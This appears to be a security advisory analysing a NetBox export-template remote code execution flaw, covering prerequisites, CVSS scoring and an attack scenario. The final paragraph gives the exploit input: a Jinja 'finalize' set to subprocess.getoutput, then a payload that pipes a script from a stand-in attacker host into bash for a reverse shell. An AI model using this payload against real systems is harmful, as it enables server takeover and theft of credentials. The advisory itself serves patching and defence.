NetBox CVE-2026-29514

Attacker must possess valid NetBox credentials with either the exporttemplate permission (django.auth permission extras.add_exporttemplate) or configtemplate permission (extras.add_configtemplate). These permissions are commonly granted to network engineering teams, DevOps automation accounts, and mid-level administrators in typical NetBox role-based access control configurations. No other special conditions required-attack succeeds against default NetBox installations with network-accessible web interfaces (AV:N). Vulnerability exists in the core NetBox codebase, not an optional plugin, so all installations in the affected version range (4.3.5-4.5.4) are exploitable regardless of deployment architecture (bare-metal, Docker, Kubernetes). No user interaction required beyond the attacker's own template creation/rendering (UI:N). Attack complexity is low (AC:L) as the exploit requires only standard API calls or UI interactions with malicious JSON payloads-no race conditions, timing dependencies, or environment-specific quirks. Limiting factor: NetBox's default authentication is local username/password or LDAP/SAML SSO; attacker must first obtain credentials through phishing, credential stuffing, or compromise of an authenticated session. Organizations using strict IP allowlisting or VPN-only access reduce network exposure but do not eliminate risk from insider threats or compromised internal accounts.

High real-world risk despite requiring low-privilege authentication. CVSS 4.0 score of 8.7 reflects network attack vector (AV:N), low complexity (AC:L), and complete confidentiality/integrity/availability impact to the vulnerable system (VC:H/VI:H/VA:H) with no impact to subsequent systems (SC:N/SI:N/SA:N). The PR:L (low privilege required) is the primary gating factor-attackers need authenticated access with exporttemplate or configtemplate Django permissions, which are typically granted to network engineers and automation service accounts in NetBox deployments. Public proof-of-concept exists (Chocapikk advisory published before CVE assignment), lowering exploitation complexity to script-kiddie level. No CISA KEV listing or EPSS score provided in input data, suggesting exploitation is not yet widespread, but the combination of public exploit code + networked service + common permission model makes this a critical patching priority for NetBox operators. Organizations using NetBox for infrastructure-as-code or automated provisioning are especially vulnerable, as the service user often has elevated access to network devices and infrastructure APIs. Attack is fully automatable once credentials are obtained (UI:N), making it suitable for post-compromise lateral movement or persistence. The CVSS vector's zero subsequent-system impact (SC:N/SI:N/SA:N) may underestimate real risk if the NetBox service account has access to secrets, device credentials, or can modify network configurations.

An attacker compromises a NetBox user account with exporttemplate permissions (common for network automation engineers or via credential stuffing against exposed instances). They authenticate to the NetBox web UI or API and navigate to the Export Templates section. Creating a new export template, they set the template_code field to {{ "whoami" }} and inject environment_params: {"finalize": "subprocess.getoutput"}. When any user (including themselves) renders this template-either manually via the UI or through NetBox's automated device configuration export-the finalize callback transforms every Jinja expression into command execution. The {{ "whoami" }} expression returns netbox (the service user) via subprocess.getoutput("whoami") executed outside the Jinja sandbox. The attacker escalates by modifying the template to {{ "curl http://attacker.com/shell.sh | bash" }}, achieving reverse shell as the NetBox service user, which typically has access to database credentials, device SSH keys stored in secrets, and API tokens for network infrastructure.